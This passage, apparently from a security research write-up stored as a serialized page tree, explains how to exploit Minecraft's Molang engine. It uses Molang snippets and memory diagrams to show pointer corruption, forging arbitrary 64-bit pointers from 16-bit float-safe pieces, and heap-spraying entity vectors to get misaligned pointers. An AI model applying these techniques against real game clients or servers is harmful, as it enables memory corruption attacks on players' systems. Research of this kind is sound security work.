[",{"type":21,"tag":153,"props":156035,"children":156036},{"style":25099},[156037],{"type":26,"value":12313},{"type":21,"tag":153,"props":156039,"children":156040},{"style":160},[156041],{"type":26,"value":2941},{"type":21,"tag":153,"props":156043,"children":156044},{"class":155,"line":3204},[156045],{"type":21,"tag":153,"props":156046,"children":156047},{"style":160},[156048],{"type":26,"value":3352},{"type":21,"tag":153,"props":156050,"children":156051},{"class":155,"line":3230},[156052,156057],{"type":21,"tag":153,"props":156053,"children":156054},{"style":192},[156055],{"type":26,"value":156056},"        \"pre_animation\"",{"type":21,"tag":153,"props":156058,"children":156059},{"style":160},[156060],{"type":26,"value":155989},{"type":21,"tag":153,"props":156062,"children":156063},{"class":155,"line":3239},[156064],{"type":21,"tag":153,"props":156065,"children":156066},{"style":671},[156067],{"type":26,"value":156068},"          \"variable.a = 2.310732e-27;\"\n",{"type":21,"tag":153,"props":156070,"children":156071},{"class":155,"line":3253},[156072],{"type":21,"tag":153,"props":156073,"children":156074},{"style":160},[156075],{"type":26,"value":156076},"        ]\n",{"type":21,"tag":153,"props":156078,"children":156079},{"class":155,"line":3301},[156080],{"type":21,"tag":153,"props":156081,"children":156082},{"style":160},[156083],{"type":26,"value":39892},{"type":21,"tag":153,"props":156085,"children":156086},{"class":155,"line":3346},[156087],{"type":21,"tag":153,"props":156088,"children":156089},{"style":160},[156090],{"type":26,"value":539},{"type":21,"tag":153,"props":156092,"children":156093},{"class":155,"line":3355},[156094],{"type":21,"tag":153,"props":156095,"children":156096},{"style":160},[156097],{"type":26,"value":8601},{"type":21,"tag":153,"props":156099,"children":156100},{"class":155,"line":3364},[156101],{"type":21,"tag":153,"props":156102,"children":156103},{"style":160},[156104],{"type":26,"value":548},{"type":21,"tag":22,"props":156106,"children":156107},{},[156108,156110,156115,156117,156122,156124,156129],{"type":26,"value":156109},"As shown, the pointer of a variable at offset ",{"type":21,"tag":78,"props":156111,"children":156113},{"className":156112},[],[156114],{"type":26,"value":155159},{"type":26,"value":156116}," was modified and the core concept works. During ",{"type":21,"tag":78,"props":156118,"children":156120},{"className":156119},[],[156121],{"type":26,"value":155117},{"type":26,"value":156123}," copy, pointers of some other variables above offset ",{"type":21,"tag":78,"props":156125,"children":156127},{"className":156126},[],[156128],{"type":26,"value":155159},{"type":26,"value":156130}," were removed, but this is fine as we control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":21,"tag":22,"props":156132,"children":156133},{},[156134],{"type":26,"value":156135},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":21,"tag":87,"props":156137,"children":156138},{},[156139,156152],{"type":21,"tag":91,"props":156140,"children":156141},{},[156142,156144,156150],{"type":26,"value":156143},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":21,"tag":78,"props":156145,"children":156147},{"className":156146},[],[156148],{"type":26,"value":156149},"FLT_MAX",{"type":26,"value":156151},", the value becomes an invalid float causing the increment operation to fail.",{"type":21,"tag":91,"props":156153,"children":156154},{},[156155,156157,156162,156164,156169,156170,156175,156177,156182],{"type":26,"value":156156},"As noted before, during assignment, ",{"type":21,"tag":78,"props":156158,"children":156160},{"className":156159},[],[156161],{"type":26,"value":155117},{"type":26,"value":156163}," fields are copied, and the ",{"type":21,"tag":78,"props":156165,"children":156167},{"className":156166},[],[156168],{"type":26,"value":41843},{"type":26,"value":155207},{"type":21,"tag":78,"props":156171,"children":156173},{"className":156172},[],[156174],{"type":26,"value":57926},{"type":26,"value":156176},". Since our source ",{"type":21,"tag":78,"props":156178,"children":156180},{"className":156179},[],[156181],{"type":26,"value":155117},{"type":26,"value":156183}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":21,"tag":22,"props":156185,"children":156186},{},[156187],{"type":26,"value":156188},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":21,"tag":21591,"props":156190,"children":156192},{"id":156191},"expanding-the-idea",[156193],{"type":26,"value":156194},"Expanding the Idea",{"type":21,"tag":22,"props":156196,"children":156197},{},[156198,156200,156205,156207,156212,156213,156218,156220,156225],{"type":26,"value":156199},"As mentioned earlier, the ",{"type":21,"tag":78,"props":156201,"children":156203},{"className":156202},[],[156204],{"type":26,"value":35450},{"type":26,"value":156206}," field of ",{"type":21,"tag":78,"props":156208,"children":156210},{"className":156209},[],[156211],{"type":26,"value":155117},{"type":26,"value":18141},{"type":21,"tag":78,"props":156214,"children":156216},{"className":156215},[],[156217],{"type":26,"value":60225},{"type":26,"value":156219},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":21,"tag":78,"props":156221,"children":156223},{"className":156222},[],[156224],{"type":26,"value":41843},{"type":26,"value":156226}," field remain unchanged before and after Molang execution.",{"type":21,"tag":22,"props":156228,"children":156229},{},[156230,156232,156237],{"type":26,"value":156231},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":21,"tag":78,"props":156233,"children":156235},{"className":156234},[],[156236],{"type":26,"value":155225},{"type":26,"value":156238},"’s allocated buffer + 4.",{"type":21,"tag":22,"props":156240,"children":156241},{},[156242,156244,156249,156251,156256,156258,156263,156264,156270],{"type":26,"value":156243},"In the example below, ",{"type":21,"tag":78,"props":156245,"children":156247},{"className":156246},[],[156248],{"type":26,"value":155651},{"type":26,"value":156250}," points to ",{"type":21,"tag":78,"props":156252,"children":156254},{"className":156253},[],[156255],{"type":26,"value":155225},{"type":26,"value":156257},", while ",{"type":21,"tag":78,"props":156259,"children":156261},{"className":156260},[],[156262],{"type":26,"value":155665},{"type":26,"value":156250},{"type":21,"tag":78,"props":156265,"children":156267},{"className":156266},[],[156268],{"type":26,"value":156269},"MolangVariableMap + 4",{"type":26,"value":201},{"type":21,"tag":143,"props":156272,"children":156274},{"code":156273},"                         variable.f pointer     \n                                 |              \n                   +-------------+-------------+\n                   v                           v\n                                                \n                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[156275],{"type":21,"tag":78,"props":156276,"children":156277},{"__ignoreMap":7},[156278],{"type":26,"value":156273},{"type":21,"tag":22,"props":156280,"children":156281},{},[156282,156284,156289,156290,156295,156297,156302,156304,156309,156311,156316],{"type":26,"value":156283},"Here, the ",{"type":21,"tag":78,"props":156285,"children":156287},{"className":156286},[],[156288],{"type":26,"value":41843},{"type":26,"value":156206},{"type":21,"tag":78,"props":156291,"children":156293},{"className":156292},[],[156294],{"type":26,"value":155651},{"type":26,"value":156296}," starts at the lower 32 bits of the ",{"type":21,"tag":78,"props":156298,"children":156300},{"className":156299},[],[156301],{"type":26,"value":155721},{"type":26,"value":156303}," pointer, while ",{"type":21,"tag":78,"props":156305,"children":156307},{"className":156306},[],[156308],{"type":26,"value":155665},{"type":26,"value":156310}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":21,"tag":78,"props":156312,"children":156314},{"className":156313},[],[156315],{"type":26,"value":155721},{"type":26,"value":156317}," pointer in a separate variable:",{"type":21,"tag":143,"props":156319,"children":156321},{"code":156320},"variable.saved_upper_32 = variable.b;\n",[156322],{"type":21,"tag":78,"props":156323,"children":156324},{"__ignoreMap":7},[156325],{"type":26,"value":156320},{"type":21,"tag":22,"props":156327,"children":156328},{},[156329],{"type":26,"value":156330},"Then we can modify the lower 32 bits of the pointer:",{"type":21,"tag":143,"props":156332,"children":156334},{"code":156333},"variable.a = variable.a + itof(0x8);\n",[156335],{"type":21,"tag":78,"props":156336,"children":156337},{"__ignoreMap":7},[156338],{"type":26,"value":156333},{"type":21,"tag":22,"props":156340,"children":156341},{},[156342],{"type":26,"value":156343},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":21,"tag":143,"props":156345,"children":156347},{"code":156346},"                   +-------------+-------------+\n                   | a8 bb cc dd | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[156348],{"type":21,"tag":78,"props":156349,"children":156350},{"__ignoreMap":7},[156351],{"type":26,"value":156346},{"type":21,"tag":22,"props":156353,"children":156354},{},[156355,156357,156362],{"type":26,"value":156356},"Since the 32 bits directly below the ",{"type":21,"tag":78,"props":156358,"children":156360},{"className":156359},[],[156361],{"type":26,"value":41843},{"type":26,"value":156363}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":21,"tag":143,"props":156365,"children":156367},{"code":156366},"variable.b = variable.saved_upper_32;\n",[156368],{"type":21,"tag":78,"props":156369,"children":156370},{"__ignoreMap":7},[156371],{"type":26,"value":156366},{"type":21,"tag":22,"props":156373,"children":156374},{},[156375,156377,156382],{"type":26,"value":156376},"Now ",{"type":21,"tag":78,"props":156378,"children":156380},{"className":156379},[],[156381],{"type":26,"value":155721},{"type":26,"value":156383}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":21,"tag":143,"props":156385,"children":156387},{"code":156386},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                    \n+-------------+                                 \n|    . . .    |                                 \n",[156388],{"type":21,"tag":78,"props":156389,"children":156390},{"__ignoreMap":7},[156391],{"type":26,"value":156386},{"type":21,"tag":22,"props":156393,"children":156394},{},[156395,156397,156402],{"type":26,"value":156396},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":21,"tag":78,"props":156398,"children":156400},{"className":156399},[],[156401],{"type":26,"value":156269},{"type":26,"value":156403}," on the heap?",{"type":21,"tag":22,"props":156405,"children":156406},{},[156407,156409,156414,156416,156422],{"type":26,"value":156408},"Additionally, adding 8 to ",{"type":21,"tag":78,"props":156410,"children":156412},{"className":156411},[],[156413],{"type":26,"value":155651},{"type":26,"value":156415}," in the example above wouldn’t work because ",{"type":21,"tag":78,"props":156417,"children":156419},{"className":156418},[],[156420],{"type":26,"value":156421},"0xddccbba0",{"type":26,"value":156423}," is not a valid float. So the first issue still remains unresolved.",{"type":21,"tag":21591,"props":156425,"children":156427},{"id":156426},"the-final-approach",[156428],{"type":26,"value":156429},"The Final Approach",{"type":21,"tag":22,"props":156431,"children":156432},{},[156433,156435,156440,156442,156448],{"type":26,"value":156434},"We realized that instead of having the second pointer at ",{"type":21,"tag":78,"props":156436,"children":156438},{"className":156437},[],[156439],{"type":26,"value":156269},{"type":26,"value":156441},", we could instead have it at ",{"type":21,"tag":78,"props":156443,"children":156445},{"className":156444},[],[156446],{"type":26,"value":156447},"MolangVariableMap + 2",{"type":26,"value":156449},", which would resolve both of our issues.",{"type":21,"tag":22,"props":156451,"children":156452},{},[156453,156455,156460,156461,156466],{"type":26,"value":156454},"Let’s revisit the previous example, but this time ",{"type":21,"tag":78,"props":156456,"children":156458},{"className":156457},[],[156459],{"type":26,"value":155665},{"type":26,"value":156250},{"type":21,"tag":78,"props":156462,"children":156464},{"className":156463},[],[156465],{"type":26,"value":156447},{"type":26,"value":201},{"type":21,"tag":143,"props":156468,"children":156470},{"code":156469},"                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[156471],{"type":21,"tag":78,"props":156472,"children":156473},{"__ignoreMap":7},[156474],{"type":26,"value":156469},{"type":21,"tag":22,"props":156476,"children":156477},{},[156478,156480,156485],{"type":26,"value":156479},"With this setup, we can calculate any address relative to ",{"type":21,"tag":78,"props":156481,"children":156483},{"className":156482},[],[156484],{"type":26,"value":155721},{"type":26,"value":156486}," by first saving the upper 48 bits of the address:",{"type":21,"tag":143,"props":156488,"children":156490},{"code":156489},"variable.saved_upper_48 = variable.b;\n",[156491],{"type":21,"tag":78,"props":156492,"children":156493},{"__ignoreMap":7},[156494],{"type":26,"value":156489},{"type":21,"tag":22,"props":156496,"children":156497},{},[156498,156499,156505,156507,156513],{"type":26,"value":132127},{"type":21,"tag":78,"props":156500,"children":156502},{"className":156501},[],[156503],{"type":26,"value":156504},"variable.saved_upper_48",{"type":26,"value":156506}," holds the value ",{"type":21,"tag":78,"props":156508,"children":156510},{"className":156509},[],[156511],{"type":26,"value":156512},"0x1c80ddcc",{"type":26,"value":355},{"type":21,"tag":22,"props":156515,"children":156516},{},[156517],{"type":26,"value":156518},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":21,"tag":143,"props":156520,"children":156522},{"code":156521},"variable.b = 0;\n",[156523],{"type":21,"tag":78,"props":156524,"children":156525},{"__ignoreMap":7},[156526],{"type":26,"value":156521},{"type":21,"tag":22,"props":156528,"children":156529},{},[156530],{"type":26,"value":156531},"Resulting in the following state:",{"type":21,"tag":143,"props":156533,"children":156535},{"code":156534},"                   +-------------+-------------+\n                   | a0 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[156536],{"type":21,"tag":78,"props":156537,"children":156538},{"__ignoreMap":7},[156539],{"type":26,"value":156534},{"type":21,"tag":22,"props":156541,"children":156542},{},[156543,156545,156550,156552,156558,156560,156565],{"type":26,"value":156544},"Now, the value of ",{"type":21,"tag":78,"props":156546,"children":156548},{"className":156547},[],[156549],{"type":26,"value":155651},{"type":26,"value":156551}," only spans 16 bits (",{"type":21,"tag":78,"props":156553,"children":156555},{"className":156554},[],[156556],{"type":26,"value":156557},"0xbba0",{"type":26,"value":156559}," specifically), which is always a valid float since it’s far below ",{"type":21,"tag":78,"props":156561,"children":156563},{"className":156562},[],[156564],{"type":26,"value":156149},{"type":26,"value":355},{"type":21,"tag":22,"props":156567,"children":156568},{},[156569,156571,156576],{"type":26,"value":156570},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":21,"tag":78,"props":156572,"children":156574},{"className":156573},[],[156575],{"type":26,"value":155651},{"type":26,"value":201},{"type":21,"tag":143,"props":156578,"children":156579},{"code":156333},[156580],{"type":21,"tag":78,"props":156581,"children":156582},{"__ignoreMap":7},[156583],{"type":26,"value":156333},{"type":21,"tag":22,"props":156585,"children":156586},{},[156587],{"type":26,"value":156588},"Which results in:",{"type":21,"tag":143,"props":156590,"children":156592},{"code":156591},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[156593],{"type":21,"tag":78,"props":156594,"children":156595},{"__ignoreMap":7},[156596],{"type":26,"value":156591},{"type":21,"tag":22,"props":156598,"children":156599},{},[156600],{"type":26,"value":156601},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":21,"tag":143,"props":156603,"children":156605},{"code":156604},"variable.b = variable.saved_upper_48;\n",[156606],{"type":21,"tag":78,"props":156607,"children":156608},{"__ignoreMap":7},[156609],{"type":26,"value":156604},{"type":21,"tag":22,"props":156611,"children":156612},{},[156613],{"type":26,"value":156614},"Yielding a valid pointer again:",{"type":21,"tag":143,"props":156616,"children":156618},{"code":156617},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[156619],{"type":21,"tag":78,"props":156620,"children":156621},{"__ignoreMap":7},[156622],{"type":26,"value":156617},{"type":21,"tag":22,"props":156624,"children":156625},{},[156626],{"type":26,"value":156627},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":21,"tag":143,"props":156629,"children":156631},{"code":156630},"variable.saved_adjusted_lower_16 = variable.a;\n",[156632],{"type":21,"tag":78,"props":156633,"children":156634},{"__ignoreMap":7},[156635],{"type":26,"value":156630},{"type":21,"tag":22,"props":156637,"children":156638},{},[156639],{"type":26,"value":156640},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":21,"tag":143,"props":156642,"children":156644},{"code":156643},"variable.a = variable.saved_upper_48;\n",[156645],{"type":21,"tag":78,"props":156646,"children":156647},{"__ignoreMap":7},[156648],{"type":26,"value":156643},{"type":21,"tag":22,"props":156650,"children":156651},{},[156652],{"type":26,"value":156653},"This produces the following state:",{"type":21,"tag":143,"props":156655,"children":156657},{"code":156656},"                   +-------------+-------------+\n                   | cc dd 80 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[156658],{"type":21,"tag":78,"props":156659,"children":156660},{"__ignoreMap":7},[156661],{"type":26,"value":156656},{"type":21,"tag":22,"props":156663,"children":156664},{},[156665,156667,156672,156674,156680,156682,156688,156690,156695,156697,156702],{"type":26,"value":156666},"As shown, ",{"type":21,"tag":78,"props":156668,"children":156670},{"className":156669},[],[156671],{"type":26,"value":155665},{"type":26,"value":156673}," now contains the upper 16 bits of the address (",{"type":21,"tag":78,"props":156675,"children":156677},{"className":156676},[],[156678],{"type":26,"value":156679},"0x1c80",{"type":26,"value":156681},"), which we can store as ",{"type":21,"tag":78,"props":156683,"children":156685},{"className":156684},[],[156686],{"type":26,"value":156687},"variable.saved_upper_16 = variable.b",{"type":26,"value":156689},". Meanwhile, ",{"type":21,"tag":78,"props":156691,"children":156693},{"className":156692},[],[156694],{"type":26,"value":155651},{"type":26,"value":156696}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":21,"tag":78,"props":156698,"children":156700},{"className":156699},[],[156701],{"type":26,"value":155665},{"type":26,"value":201},{"type":21,"tag":143,"props":156704,"children":156705},{"code":156521},[156706],{"type":21,"tag":78,"props":156707,"children":156708},{"__ignoreMap":7},[156709],{"type":26,"value":156521},{"type":21,"tag":22,"props":156711,"children":156712},{},[156713],{"type":26,"value":156714},"Leaving us with:",{"type":21,"tag":143,"props":156716,"children":156718},{"code":156717},"                   +-------------+-------------+\n                   | cc dd 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[156719],{"type":21,"tag":78,"props":156720,"children":156721},{"__ignoreMap":7},[156722],{"type":26,"value":156717},{"type":21,"tag":22,"props":156724,"children":156725},{},[156726],{"type":26,"value":156727},"We can now save the middle 16 bits:",{"type":21,"tag":143,"props":156729,"children":156731},{"code":156730},"variable.saved_middle_16 = variable.a;\n",[156732],{"type":21,"tag":78,"props":156733,"children":156734},{"__ignoreMap":7},[156735],{"type":26,"value":156730},{"type":21,"tag":22,"props":156737,"children":156738},{},[156739],{"type":26,"value":156740},"At this point, we have:",{"type":21,"tag":143,"props":156742,"children":156744},{"code":156743},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[156745],{"type":21,"tag":78,"props":156746,"children":156747},{"__ignoreMap":7},[156748],{"type":26,"value":156743},{"type":21,"tag":22,"props":156750,"children":156751},{},[156752],{"type":26,"value":156753},"All three parts are valid float values, ensuring deterministic calculations.",{"type":21,"tag":22,"props":156755,"children":156756},{},[156757],{"type":26,"value":156758},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":21,"tag":143,"props":156760,"children":156762},{"code":156761},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[156763],{"type":21,"tag":78,"props":156764,"children":156765},{"__ignoreMap":7},[156766],{"type":26,"value":156761},{"type":21,"tag":22,"props":156768,"children":156769},{},[156770],{"type":26,"value":156771},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":21,"tag":143,"props":156773,"children":156775},{"code":156774},"variable.a = variable.saved_adjusted_middle_16;\n",[156776],{"type":21,"tag":78,"props":156777,"children":156778},{"__ignoreMap":7},[156779],{"type":26,"value":156774},{"type":21,"tag":22,"props":156781,"children":156782},{},[156783,156785,156790,156791,156797,156798,156804],{"type":26,"value":156784},"Setting ",{"type":21,"tag":78,"props":156786,"children":156788},{"className":156787},[],[156789],{"type":26,"value":155651},{"type":26,"value":59068},{"type":21,"tag":78,"props":156792,"children":156794},{"className":156793},[],[156795],{"type":26,"value":156796},"0xddcd",{"type":26,"value":5820},{"type":21,"tag":78,"props":156799,"children":156801},{"className":156800},[],[156802],{"type":26,"value":156803},"0xddcc + 1",{"type":26,"value":156805},"), and then:",{"type":21,"tag":143,"props":156807,"children":156809},{"code":156808},"variable.b = variable.saved_adjusted_upper_16;\n",[156810],{"type":21,"tag":78,"props":156811,"children":156812},{"__ignoreMap":7},[156813],{"type":26,"value":156808},{"type":21,"tag":22,"props":156815,"children":156816},{},[156817,156819,156824,156826,156832,156833,156839],{"type":26,"value":156818},"Resulting in ",{"type":21,"tag":78,"props":156820,"children":156822},{"className":156821},[],[156823],{"type":26,"value":155665},{"type":26,"value":156825}," value becoming ",{"type":21,"tag":78,"props":156827,"children":156829},{"className":156828},[],[156830],{"type":26,"value":156831},"0x1c81",{"type":26,"value":5820},{"type":21,"tag":78,"props":156834,"children":156836},{"className":156835},[],[156837],{"type":26,"value":156838},"0x1c80 + 1",{"type":26,"value":26643},{"type":21,"tag":143,"props":156841,"children":156843},{"code":156842},"                   +-------------+-------------+\n                   | cd dd 81 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[156844],{"type":21,"tag":78,"props":156845,"children":156846},{"__ignoreMap":7},[156847],{"type":26,"value":156842},{"type":21,"tag":22,"props":156849,"children":156850},{},[156851],{"type":26,"value":156852},"Now we save the adjusted upper 48 bits:",{"type":21,"tag":143,"props":156854,"children":156856},{"code":156855},"variable.saved_adjusted_upper_48 = variable.a;\n",[156857],{"type":21,"tag":78,"props":156858,"children":156859},{"__ignoreMap":7},[156860],{"type":26,"value":156855},{"type":21,"tag":22,"props":156862,"children":156863},{},[156864],{"type":26,"value":156865},"Finally, we attach the lower 16 bits:",{"type":21,"tag":143,"props":156867,"children":156869},{"code":156868},"variable.a = variable.saved_adjusted_lower_16;\n",[156870],{"type":21,"tag":78,"props":156871,"children":156872},{"__ignoreMap":7},[156873],{"type":26,"value":156868},{"type":21,"tag":143,"props":156875,"children":156877},{"code":156876},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[156878],{"type":21,"tag":78,"props":156879,"children":156880},{"__ignoreMap":7},[156881],{"type":26,"value":156876},{"type":21,"tag":22,"props":156883,"children":156884},{},[156885],{"type":26,"value":156886},"And by setting:",{"type":21,"tag":143,"props":156888,"children":156890},{"code":156889},"variable.b = variable.saved_adjusted_upper_48;\n",[156891],{"type":21,"tag":78,"props":156892,"children":156893},{"__ignoreMap":7},[156894],{"type":26,"value":156889},{"type":21,"tag":22,"props":156896,"children":156897},{},[156898],{"type":26,"value":156899},"We forge the final adjusted pointer:",{"type":21,"tag":143,"props":156901,"children":156903},{"code":156902},"                   +-------------+-------------+\n                   | a8 bb cd dd | 81 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[156904],{"type":21,"tag":78,"props":156905,"children":156906},{"__ignoreMap":7},[156907],{"type":26,"value":156902},{"type":21,"tag":21491,"props":156909,"children":156910},{},[],{"type":21,"tag":22,"props":156912,"children":156913},{},[156914,156916,156921],{"type":26,"value":156915},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":21,"tag":78,"props":156917,"children":156919},{"className":156918},[],[156920],{"type":26,"value":156447},{"type":26,"value":156403},{"type":21,"tag":22,"props":156923,"children":156924},{},[156925,156927,156932,156934,156939,156941,156947,156949,156954],{"type":26,"value":156926},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":21,"tag":78,"props":156928,"children":156930},{"className":156929},[],[156931],{"type":26,"value":156447},{"type":26,"value":156933},". Instead, we need any two pointers on the heap - one pointing to ",{"type":21,"tag":78,"props":156935,"children":156937},{"className":156936},[],[156938],{"type":26,"value":33381},{"type":26,"value":156940}," and the other to ",{"type":21,"tag":78,"props":156942,"children":156944},{"className":156943},[],[156945],{"type":26,"value":156946},"addr + 2",{"type":26,"value":156948}," (as long as ",{"type":21,"tag":78,"props":156950,"children":156952},{"className":156951},[],[156953],{"type":26,"value":33381},{"type":26,"value":156955}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":21,"tag":22,"props":156957,"children":156958},{},[156959,156961,156966,156967,156972],{"type":26,"value":156960},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":21,"tag":78,"props":156962,"children":156964},{"className":156963},[],[156965],{"type":26,"value":152421},{"type":26,"value":156206},{"type":21,"tag":78,"props":156968,"children":156970},{"className":156969},[],[156971],{"type":26,"value":155225},{"type":26,"value":156973}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":21,"tag":143,"props":156975,"children":156977},{"code":156976},"variable.corrupted_var_map_ptr = variable.a;\n",[156978],{"type":21,"tag":78,"props":156979,"children":156980},{"__ignoreMap":7},[156981],{"type":26,"value":156976},{"type":21,"tag":22,"props":156983,"children":156984},{},[156985,156987,156992,156994,157000],{"type":26,"value":156986},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":21,"tag":78,"props":156988,"children":156990},{"className":156989},[],[156991],{"type":26,"value":41843},{"type":26,"value":156993}," field (in this case, the reconstructed pointer) and writes it to ",{"type":21,"tag":78,"props":156995,"children":156997},{"className":156996},[],[156998],{"type":26,"value":156999},"variable.corrupted_var_map_ptr",{"type":26,"value":157001},", even though the type itself is only a 32-bit float.",{"type":21,"tag":21591,"props":157003,"children":157005},{"id":157004},"finding-misaligned-pointers",[157006],{"type":26,"value":157007},"Finding Misaligned Pointers",{"type":21,"tag":22,"props":157009,"children":157010},{},[157011,157013,157018,157019,157025],{"type":26,"value":157012},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":21,"tag":78,"props":157014,"children":157016},{"className":157015},[],[157017],{"type":26,"value":16658},{"type":26,"value":52},{"type":21,"tag":78,"props":157020,"children":157022},{"className":157021},[],[157023],{"type":26,"value":157024},"ptr + 2",{"type":26,"value":157026},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":21,"tag":22,"props":157028,"children":157029},{},[157030,157035,157036,157041,157043,157048,157050,157055,157057,157062,157064,157069,157071,157077,157078,157083],{"type":21,"tag":78,"props":157031,"children":157033},{"className":157032},[],[157034],{"type":26,"value":155401},{"type":26,"value":18141},{"type":21,"tag":78,"props":157037,"children":157039},{"className":157038},[],[157040],{"type":26,"value":155424},{"type":26,"value":157042}," found inside every entity object. As noted earlier, a ",{"type":21,"tag":78,"props":157044,"children":157046},{"className":157045},[],[157047],{"type":26,"value":155255},{"type":26,"value":157049}," contains three pointers: ",{"type":21,"tag":78,"props":157051,"children":157053},{"className":157052},[],[157054],{"type":26,"value":152421},{"type":26,"value":157056}," (the start of the allocated buffer), ",{"type":21,"tag":78,"props":157058,"children":157060},{"className":157059},[],[157061],{"type":26,"value":2456},{"type":26,"value":157063}," (just past the last element) and ",{"type":21,"tag":78,"props":157065,"children":157067},{"className":157066},[],[157068],{"type":26,"value":155354},{"type":26,"value":157070}," (the end of the allocated buffer). Because the element type is ",{"type":21,"tag":78,"props":157072,"children":157074},{"className":157073},[],[157075],{"type":26,"value":157076},"uint16_t",{"type":26,"value":104594},{"type":21,"tag":78,"props":157079,"children":157081},{"className":157080},[],[157082],{"type":26,"value":2456},{"type":26,"value":157084}," pointer advances by 2 bytes each time a new element is added.",{"type":21,"tag":22,"props":157086,"children":157087},{},[157088,157090,157095,157097,157103],{"type":26,"value":157089},"We can make the ",{"type":21,"tag":78,"props":157091,"children":157093},{"className":157092},[],[157094],{"type":26,"value":2456},{"type":26,"value":157096}," pointer equal to ",{"type":21,"tag":78,"props":157098,"children":157100},{"className":157099},[],[157101],{"type":26,"value":157102},"cap - 2",{"type":26,"value":157104}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen 